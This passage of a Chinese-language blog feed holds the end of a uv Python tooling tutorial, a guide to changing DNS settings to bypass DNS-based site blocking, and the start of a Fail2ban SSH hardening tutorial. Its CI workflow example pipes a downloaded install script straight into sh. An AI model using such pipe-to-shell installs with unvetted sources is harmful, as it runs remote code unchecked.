&lt;td&gt;&lt;code&gt;uv run &amp;lt;command&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;poetry run&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;運行工具&lt;/td&gt;
&lt;td&gt;&lt;code&gt;uvx &amp;lt;tool&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;pipx run&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;安裝工具&lt;/td&gt;
&lt;td&gt;&lt;code&gt;uv tool install &amp;lt;tool&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;pipx install&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;安裝 Python&lt;/td&gt;
&lt;td&gt;&lt;code&gt;uv python install &amp;lt;version&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;pyenv install&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;鎖定依賴&lt;/td&gt;
&lt;td&gt;&lt;code&gt;uv lock&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;poetry lock&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;同步環境&lt;/td&gt;
&lt;td&gt;&lt;code&gt;uv sync&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;poetry install&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;常見場景&lt;/h2&gt;
&lt;h3&gt;場景 1：分享專案環境給同事&lt;/h3&gt;
&lt;p&gt;當你開發完一個專案，想要讓同事能夠快速建立相同的環境時：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;步驟 1：鎖定依賴&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;在你的專案目錄中，執行鎖定命令：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ uv lock
Resolved 25 packages in 0.5ms
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;這會生成一個 &lt;code&gt;uv.lock&lt;/code&gt; 文件，記錄了所有依賴的精確版本。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;步驟 2：提交到版本控制&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;將以下文件提交到 Git：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ git add pyproject.toml uv.lock
$ git commit -m &quot;Add project dependencies&quot;
$ git push
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;步驟 3：同事取得專案後&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;同事只需要執行：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ git clone &amp;lt;repository-url&amp;gt;
$ cd &amp;lt;project-name&amp;gt;
$ uv sync
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;這樣就能建立完全相同的開發環境了！✨&lt;/p&gt;
&lt;h3&gt;場景 2：接手別人的專案&lt;/h3&gt;
&lt;p&gt;當你拿到一個使用 uv 管理的專案源碼時：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;方法 1：使用 uv（推薦）&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 1. 進入專案目錄
$ cd project-name

# 2. 同步環境（會自動創建 .venv 並安裝依賴）
$ uv sync
Resolved 25 packages in 0.70ms
Installed 25 packages in 150ms

# 3. 運行專案
$ uv run python main.py
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;方法 2：如果專案還有 requirements.txt&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 創建虛擬環境
$ uv venv

# 啟動虛擬環境
$ source .venv/bin/activate  # macOS/Linux
# 或
$ .venv\Scripts\activate     # Windows

# 安裝依賴
$ uv pip install -r requirements.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;場景 3：確保團隊使用相同的 Python 版本&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;步驟 1：專案負責人固定 Python 版本&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ uv python pin 3.11
Pinned `.python-version` to `3.11`
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;這會創建一個 &lt;code&gt;.python-version&lt;/code&gt; 文件。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;步驟 2：提交 .python-version 到 Git&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ git add .python-version
$ git commit -m &quot;Pin Python version to 3.11&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;步驟 3：團隊成員拉取後&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ git pull
$ uv sync
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;uv 會自動檢查並使用正確的 Python 版本！如果本地沒有，會提示安裝：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ uv python install
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;場景 4：更新專案依賴&lt;/h3&gt;
&lt;p&gt;當你需要更新某個套件版本時：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 更新單一套件
$ uv add requests@latest

# 或指定版本
$ uv add &quot;requests&amp;gt;=2.31.0&quot;

# 重新鎖定
$ uv lock

# 提交更新
$ git add pyproject.toml uv.lock
$ git commit -m &quot;Update requests to latest version&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;團隊成員拉取後執行 &lt;code&gt;uv sync&lt;/code&gt; 即可同步更新。&lt;/p&gt;
&lt;h3&gt;場景 5：CI/CD 環境設定&lt;/h3&gt;
&lt;p&gt;在 GitHub Actions 或其他 CI/CD 環境中使用 uv：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# .github/workflows/test.yml
name: Test

on: [push, pull_request]

jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
      
      - name: Install uv
        run: curl -LsSf https://astral.sh/uv/install.sh | sh
      
      - name: Set up Python
        run: uv python install
      
      - name: Install dependencies
        run: uv sync
      
      - name: Run tests
        run: uv run pytest
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;這樣就能確保 CI 環境和本地開發環境完全一致！&lt;/p&gt;
&lt;h3&gt;場景 6：團隊中混用 pip 和 uv&lt;/h3&gt;
&lt;p&gt;當團隊中有人使用 pip，也有人使用 uv 時，可以透過以下策略協作：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;策略 1：同時維護兩種依賴文件&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;專案同時維護 &lt;code&gt;pyproject.toml&lt;/code&gt; 和 &lt;code&gt;requirements.txt&lt;/code&gt;，讓兩種工具的使用者都能順利工作：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 專案結構
project/
├── pyproject.toml      # uv 使用者使用
├── uv.lock            # uv 鎖定文件
└── requirements.txt   # pip 使用者使用
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;uv 使用者的工作流程：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 添加新依賴
$ uv add requests

# 生成 requirements.txt 給 pip 使用者
$ uv pip compile pyproject.toml -o requirements.txt

# 提交兩個文件
$ git add pyproject.toml uv.lock requirements.txt
$ git commit -m &quot;Add requests dependency&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;pip 使用者的工作流程：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 拉取更新
$ git pull

# 使用 pip 安裝
$ pip install -r requirements.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;策略 2：使用 uv 的 pip 兼容模式&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;pip 使用者也可以使用 uv 的 pip 命令，維持原有的工作流程：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 使用 uv 的 pip 命令，速度更快：
$ uv pip install -r requirements.txt    # 取代 pip install
$ uv pip freeze &amp;gt; requirements.txt      # 取代 pip freeze
$ uv venv                               # 取代 python -m venv
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;這樣可以享受 uv 的速度優勢，但維持原有的工作流程！&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;協作注意事項：&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;在 README 中說明&lt;/strong&gt;：清楚記錄團隊使用哪種工具，以及如何安裝依賴。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;:::important
文檔很重要，文檔很重要，文檔很重要，因為很重要所以要說三次，如果同事不愛寫文檔，那祝你好運
:::&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;## 安裝依賴

### 使用 uv
\`\`\`bash
uv sync
\`\`\`

### 使用 pip
\`\`\`bash
pip install -r requirements.txt
\`\`\`
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;定期同步&lt;/strong&gt;：如果維護兩種文件，記得在添加依賴後更新 &lt;code&gt;requirements.txt&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;使用 pre-commit hook&lt;/strong&gt;：自動同步依賴文件&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# .git/hooks/pre-commit
#!/bin/bash
if [ -f pyproject.toml ]; then
    uv pip compile pyproject.toml -o requirements.txt
    git add requirements.txt
fi
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;注意事項&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;uv 目前還在快速發展中，某些功能可能還不夠穩定&lt;/li&gt;
&lt;li&gt;如果遇到問題，可以查看&lt;a href=&quot;https://docs.astral.sh/uv/&quot;&gt;官方文檔&lt;/a&gt;或&lt;a href=&quot;https://uv.oaix.tech&quot;&gt;中文文檔&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;建議在新專案中使用，舊專案遷移前請做好備份&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;總結&lt;/h2&gt;
&lt;p&gt;uv 是一個非常強大的 Python 工具，整合了眾多功能，並且速度極快。如果你：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;受夠了 pip 的慢速度&lt;/li&gt;
&lt;li&gt;想要嘗試看看更好的依賴管理&lt;/li&gt;
&lt;li&gt;需要管理多個 Python 版本&lt;/li&gt;
&lt;li&gt;想要一個統一的工具鏈&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;那麼 uv 絕對值得一試！&lt;/p&gt;
&lt;h2&gt;參考資料&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://uv.oaix.tech&quot;&gt;uv 中文文檔&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.astral.sh/uv/&quot;&gt;uv 官方文檔&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/astral-sh/uv&quot;&gt;uv GitHub&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://astral.sh&quot;&gt;Astral 官網&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>CHIEN (qian)</author></item><item><title>如何更改電腦與手機的 DNS 設定？完整教學指南</title><link>https://blog.chien.dev/posts/change-dns-guide</link><guid isPermaLink="true">https://blog.chien.dev/posts/change-dns-guide</guid><description>詳細教學如何在 Windows、macOS、Linux、iOS 和 Android 等各平台上更改 DNS 設定，提升網路速度與安全性。繞過小紅書封鎖、突破網路長城限制。</description><pubDate>Thu, 04 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;什麼是 DNS？為什麼要更改它？&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;DNS（Domain Name System）&lt;/strong&gt; 是網際網路的「電話簿」，負責將網址（如 &lt;code&gt;google.com&lt;/code&gt;）轉換成 IP 位址。&lt;/p&gt;
&lt;p&gt;DNS 也常被用作&lt;strong&gt;網路審查&lt;/strong&gt;工具。透過 &lt;strong&gt;DNS 污染&lt;/strong&gt;、&lt;strong&gt;RPZ (Response Policy Zone)&lt;/strong&gt; 等技術，政府或 ISP 可以封鎖特定網站。最近的例子就是台灣政府封鎖&lt;strong&gt;小紅書&lt;/strong&gt;。這種手法也是中國**網路長城（GFW）**的手段之一，不過 GFW 還結合了 IP 封鎖、深度封包檢測（DPI）等更複雜的技術。&lt;/p&gt;
&lt;h3&gt;更改 DNS 的好處&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;提升網路速度&lt;/strong&gt;：某些 DNS 伺服器回應更快&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;增強安全性&lt;/strong&gt;：防止釣魚網站和惡意軟體&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;改善隱私&lt;/strong&gt;：避免 ISP 追蹤瀏覽記錄&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;繞過網路限制&lt;/strong&gt;：訪問被封鎖的網站（如小紅書）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;:::important
更改為國際公共 DNS(如 Google 8.8.8.8 或 Cloudflare 1.1.1.1)可繞過 DNS 封鎖,但請注意可能涉及法律問題,使用前請自行評估風險。
:::&lt;/p&gt;
&lt;h3&gt;推薦的公共 DNS&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;DNS 提供商&lt;/th&gt;
&lt;th&gt;主要 DNS&lt;/th&gt;
&lt;th&gt;備用 DNS&lt;/th&gt;
&lt;th&gt;特色&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Google&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;8.8.8.8&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;8.8.4.4&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;速度快、穩定性高、全球覆蓋&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Cloudflare&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;1.1.1.1&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;1.0.0.1&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;注重隱私、速度最快&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Quad9&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;9.9.9.9&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;149.112.112.112&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;主打安全性&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;電腦端設定&lt;/h2&gt;
&lt;p&gt;:::tip
&lt;strong&gt;最快方法&lt;/strong&gt;：想快速繞過 DNS 封鎖（如小紅書），建議先試「方法一：瀏覽器設定」，幾秒鐘就能完成！
:::&lt;/p&gt;
&lt;h3&gt;方法一：瀏覽器設定（最簡單）&lt;/h3&gt;
&lt;p&gt;現代瀏覽器內建安全 DNS（DoH）功能，&lt;strong&gt;最快速且不影響系統&lt;/strong&gt;。&lt;/p&gt;
&lt;h4&gt;Chrome / Edge / Brave&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;點選右上角 &lt;code&gt;⋮&lt;/code&gt; &amp;gt; 「設定」&amp;gt; 「隱私權和安全性」&amp;gt; 「安全性」&lt;/li&gt;
&lt;li&gt;啟用「使用安全 DNS」，選擇 &lt;strong&gt;Google Public DNS&lt;/strong&gt; 或 &lt;strong&gt;Cloudflare&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;立即生效，無需重啟&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;Firefox&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;點選 &lt;code&gt;☰&lt;/code&gt; &amp;gt; 「設定」&amp;gt; 「隱私權與安全性」&lt;/li&gt;
&lt;li&gt;勾選「啟用 DNS over HTTPS」&lt;/li&gt;
&lt;li&gt;選擇 &lt;strong&gt;Cloudflare&lt;/strong&gt; 或 &lt;strong&gt;Google&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;:::note
&lt;strong&gt;優點&lt;/strong&gt;：只影響瀏覽器，適合快速測試&lt;br /&gt;
&lt;strong&gt;限制&lt;/strong&gt;：其他應用程式仍使用系統 DNS
:::&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;方法二：Windows 系統設定&lt;/h3&gt;
&lt;h4&gt;圖形介面&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;按 &lt;code&gt;Win + I&lt;/code&gt; &amp;gt; 「網路和網際網路」&amp;gt; 「進階網路設定」&amp;gt; 「變更介面卡選項」&lt;/li&gt;
&lt;li&gt;在網路連線上按右鍵 &amp;gt; 「內容」&lt;/li&gt;
&lt;li&gt;雙擊「網際網路通訊協定第 4 版 (TCP/IPv4)」&lt;/li&gt;
&lt;li&gt;選擇「使用下列的 DNS 伺服器位址」
&lt;ul&gt;
&lt;li&gt;慣用：&lt;code&gt;8.8.8.8&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;其他：&lt;code&gt;8.8.4.4&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;點選「確定」&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;PowerShell（進階）&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;# 以系統管理員身分執行
Set-DnsClientServerAddress -InterfaceAlias &quot;Wi-Fi&quot; -ServerAddresses (&quot;8.8.8.8&quot;,&quot;8.8.4.4&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h3&gt;方法三：macOS 系統設定&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Apple 選單 &amp;gt; 「系統設定」&amp;gt; 「網路」&lt;/li&gt;
&lt;li&gt;選擇連線 &amp;gt; 「詳細資料」&amp;gt; 「DNS」&lt;/li&gt;
&lt;li&gt;點選 &lt;code&gt;+&lt;/code&gt; 新增 DNS：&lt;code&gt;8.8.8.8&lt;/code&gt; 和 &lt;code&gt;8.8.4.4&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;點選「好」&amp;gt; 「套用」&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;終端機方式&lt;/strong&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo networksetup -setdnsservers Wi-Fi 8.8.8.8 8.8.4.4
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;手機端設定&lt;/h2&gt;
&lt;h3&gt;iOS&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;「設定」&amp;gt; 「Wi-Fi」&amp;gt; 點選網路旁的 &lt;code&gt;ⓘ&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;「設定 DNS」&amp;gt; 選擇「手動」&lt;/li&gt;
&lt;li&gt;刪除現有 DNS，新增 &lt;code&gt;8.8.8.8&lt;/code&gt; 和 &lt;code&gt;8.8.4.4&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;點選「儲存」&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;:::tip
推薦安裝 Google 或 Cloudflare 的 App (如 1.1.1.1) 啟用加密 DNS
:::&lt;/p&gt;
&lt;h3&gt;Android&lt;/h3&gt;
&lt;h4&gt;私人 DNS（推薦，Android 9+）&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;「設定」&amp;gt; 「網路和網際網路」&amp;gt; 「私人 DNS」&lt;/li&gt;
&lt;li&gt;選擇「私人 DNS 提供者主機名稱」&lt;/li&gt;
&lt;li&gt;輸入：
&lt;ul&gt;
&lt;li&gt;Cloudflare：&lt;code&gt;1dot1dot1dot1.cloudflare-dns.com&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Google：&lt;code&gt;dns.google&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;點選「儲存」&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;:::important
私人 DNS 使用 DoT 協定，提供更好的隱私保護
:::&lt;/p&gt;
&lt;h4&gt;Wi-Fi 設定&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;長按 Wi-Fi 網路 &amp;gt; 「修改網路」&amp;gt; 「進階選項」&lt;/li&gt;
&lt;li&gt;IP 設定改為「靜態」&lt;/li&gt;
&lt;li&gt;DNS 1：&lt;code&gt;8.8.8.8&lt;/code&gt;，DNS 2：&lt;code&gt;8.8.4.4&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;hr /&gt;
&lt;h2&gt;如何測試 DNS 是否生效？&lt;/h2&gt;
&lt;h3&gt;線上檢測&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://1.1.1.1/help&quot;&gt;Cloudflare 檢測&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://dnsleaktest.com/&quot;&gt;DNS Leak Test&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;命令列&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# Windows/macOS/Linux
nslookup google.com
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;查看輸出中的「Server」欄位，應顯示你設定的 DNS。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;常見問題 FAQ&lt;/h2&gt;
&lt;h3&gt;Q1: 更改 DNS 會影響網路速度嗎？&lt;/h3&gt;
&lt;p&gt;可以稍微提升速度，但差異不明顯。最大好處是穩定性和安全性。&lt;/p&gt;
&lt;h3&gt;Q2: 我該選擇哪個 DNS？&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;一般使用者&lt;/strong&gt;：Google (8.8.8.8) 或 Cloudflare (1.1.1.1)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;注重隱私&lt;/strong&gt;：Cloudflare (1.1.1.1)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;注重安全&lt;/strong&gt;：Quad9 (9.9.9.9)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Q3: 如何恢復預設設定？&lt;/h3&gt;
&lt;p&gt;將 DNS 改回「自動取得」或「DHCP」即可。&lt;/p&gt;
&lt;h3&gt;Q4: 什麼是 RPZ？台灣有封鎖網站嗎？&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;RPZ (Response Policy Zone)&lt;/strong&gt; 是 DNS 層級的內容過濾技術。台灣自 2020 年起要求電信業者實施 RPZ，原意是防詐騙，但出現爭議：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;🚫 某些網站僅憑公文就被封鎖&lt;/li&gt;
&lt;li&gt;⚠️ 誤封事件：Instagram、小紅書等&lt;/li&gt;
&lt;li&gt;📋 缺乏申訴管道&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;:::warning
更改 DNS 訪問被誤封的合法網站（如小紅書）是合理自保，但訪問明顯違法內容仍可能觸法。
:::&lt;/p&gt;
&lt;h3&gt;Q5: 更改 DNS 就能完全翻牆了嗎？&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;不完全是&lt;/strong&gt;。DNS 封鎖只是網路審查的一種：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;✅ &lt;strong&gt;DNS 封鎖&lt;/strong&gt;：更改 DNS 可繞過（台灣 RPZ、中國 DNS 污染）&lt;/li&gt;
&lt;li&gt;❌ &lt;strong&gt;IP 封鎖&lt;/strong&gt;：需要 VPN&lt;/li&gt;
&lt;li&gt;❌ &lt;strong&gt;深度封包檢測（DPI）&lt;/strong&gt;：需要 VPN&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;中國的 GFW 同時使用三種技術，單純更改 DNS 無法突破。但台灣目前僅 DNS 層級封鎖，更改 DNS 就足夠。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;結語&lt;/h2&gt;
&lt;p&gt;更改 DNS 是簡單有效的網路優化方式，幾分鐘就能完成。無論是提升速度、安全性或隱私保護，都值得一試！&lt;/p&gt;
&lt;p&gt;:::note
&lt;strong&gt;延伸閱讀&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://1.1.1.1/&quot;&gt;Cloudflare 1.1.1.1 官方網站&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cloudflare.com/learning/dns/dns-over-tls/&quot;&gt;什麼是 DNS over HTTPS?&lt;/a&gt;
:::&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>CHIEN (qian)</author></item><item><title>Fail2ban SSH 防護完整使用教學：安裝、設定與參數詳解</title><link>https://blog.chien.dev/posts/fail2ban1</link><guid isPermaLink="true">https://blog.chien.dev/posts/fail2ban1</guid><description>完整的 Fail2ban SSH 防護教學指南。從安裝到進階設定，詳細說明 Fail2ban 如何自動封鎖暴力破解攻擊，包含 jail 設定、參數調整與實戰測試，保護你的 Linux 伺服器安全。</description><pubDate>Wed, 10 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;簡介&lt;/h2&gt;
&lt;p&gt;Fail2ban 是一款強大的開源入侵防禦工具，專門用於保護 Linux 系統免受暴力破解攻擊。它透過即時監控系統日誌檔案，自動偵測異常登入行為，並將可疑的 IP 位址加入防火牆黑名單，有效提升伺服器的安全性。&lt;/p&gt;
&lt;p&gt;對於暴露在公網上的 SSH 服務來說，Fail2ban 是不可或缺的第一道防線，能夠有效阻擋自動化的密碼暴力破解攻擊。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;安裝 Fail2ban&lt;/h2&gt;
&lt;h3&gt;Ubuntu / Debian 系統&lt;/h3&gt;
&lt;p&gt;使用 APT 套件管理器安裝 Fail2ban：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo apt-get update
sudo apt-get install fail2ban -y
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;安裝完成後，Fail2ban 服務會自動啟動。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;基礎設定&lt;/h2&gt;
&lt;h3&gt;主要設定檔案&lt;/h3&gt;
&lt;p&gt;Fail2ban 的主要設定檔位於 &lt;code&gt;/etc/fail2ban&lt;/code&gt; 目錄下。核心設定檔為 &lt;code&gt;/etc/fail2ban/fail2ban.conf&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;重要提醒&lt;/strong&gt;：為避免套件更新時覆蓋你的自訂設定，我們需要建立一個本地設定檔 &lt;code&gt;/etc/fail2ban/fail2ban.local&lt;/code&gt;，所有修改都在此檔案中進行。&lt;/p&gt;
&lt;p&gt;複製預設設定檔：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo cp /etc/fail2ban/fail2ban.conf /etc/fail2ban/fail2ban.local
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;設定開機自動啟動：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo systemctl enable fail2ban
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;設定日誌檔案位置&lt;/h3&gt;
&lt;p&gt;編輯 &lt;code&gt;/etc/fail2ban/fail2ban.local&lt;/code&gt;，找到 &lt;code&gt;[Definition]&lt;/code&gt; 區段，設定日誌檔案路徑：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[Definition]
logtarget = /var/log/fail2ban/fail2ban.log
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;修改完成後，需要手動建立日誌目錄並重啟服務（系統不會自動建立）：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo mkdir -p /var/log/fail2ban  # 建立日誌目錄
sudo service fail2ban restart    # 重啟服務
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;檢查服務狀態&lt;/h3&gt;
&lt;p&gt;重啟完成後，可以檢查 Fail2ban 服務是否正常運作：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo service fail2ban status
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果設定正確，你會看到類似以下的輸出：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;● fail2ban.service - Fail2Ban Service
     Loaded: loaded (/usr/lib/systemd/system/fail2ban.service; enabled; preset: enabled)
    Drop-In: /run/systemd/system/service.d
             └─zzz-lxc-service.conf
     Active: active (running) since Wed 2025-12-10 13:14:12 CST; 3s ago
 Invocation: 5d78b37f2bc84ac891657d15c7014770
       Docs: man:fail2ban(1)
   Main PID: 4002 (fail2ban-server)
      Tasks: 5 (limit: 14406)
     Memory: 25M (peak: 25M)
        CPU: 66ms
     CGroup: /system.slice/fail2ban.service
             └─4002 /usr/bin/python3 /usr/bin/fail2ban-server -xf start

Dec 10 13:14:12 owo systemd[1]: Started fail2ban.service - Fail2Ban Service.
Dec 10 13:14:12 owo fail2ban-server[4002]: Server ready
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Jail 監獄設定&lt;/h2&gt;
